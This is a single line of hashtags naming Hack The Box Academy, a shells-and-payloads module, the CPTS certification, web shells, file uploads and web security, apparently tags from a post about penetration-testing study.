#HTB #Academy #ShellsAndPayloads #CPTS #WebShell #FileUpload #WebSecurity